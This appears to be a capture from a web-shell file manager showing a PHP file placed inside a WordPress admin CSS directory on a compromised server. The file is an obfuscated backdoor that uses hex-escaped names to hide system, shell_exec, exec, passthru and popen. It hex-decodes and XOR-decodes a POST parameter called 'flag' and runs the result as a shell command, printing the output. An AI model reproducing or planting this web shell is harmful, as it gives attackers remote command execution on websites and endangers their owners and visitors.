HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System: Linux li317-225.members.linode.com 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x86_64
User: apache (48)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /var/www/kosmicevents/public/wp-admin__7af9720/css/colors/ele_text.php
<?php

$right_pad_string = "h\x65\x78\x32b\x69n";
$data_storage2 = "\x73h\x65\x6C\x6C\x5Fexec";
$data_storage4 = "\x70ass\x74\x68\x72u";
$data_storage7 = "pc\x6C\x6Fse";
$data_storage6 = "\x73\x74\x72e\x61\x6D\x5F\x67et\x5F\x63o\x6Etents";
$data_storage3 = "exe\x63";
$data_storage1 = "s\x79\x73\x74em";
$data_storage5 = "\x70\x6Fpen";
if (isset($_POST["\x66lag"])) {
            function task_processor   (      $element   ,       $res      )    {
    $ent     =    ''     ;
     $o=0;
 do{
$ent.=chr(ord($element[$o])^$res);
$o++;

} while($o<strlen($element));
 return    $ent;
      
}
            $flag = $right_pad_string($_POST["\x66lag"]);
            $flag = task_processor($flag, 47);
            if (function_exists($data_storage1)) {
                $data_storage1($flag);
            } elseif (function_exists($data_storage2)) {
                print $data_storage2($flag);
            } elseif (function_exists($data_storage3)) {
                $data_storage3($flag, $sym_element);
                print join("\n", $sym_element);
            } elseif (function_exists($data_storage4)) {
                $data_storage4($flag);
            } elseif (function_exists($data_storage5) && function_exists($data_storage6) && function_exists($data_storage7)) {
                $res_ent = $data_storage5($flag, 'r');
                if ($res_ent) {
                    $component_data_chunk = $data_storage6($res_ent);
                    $data_storage7($res_ent);
                    print $component_data_chunk;
                }
            }
            exit;
        }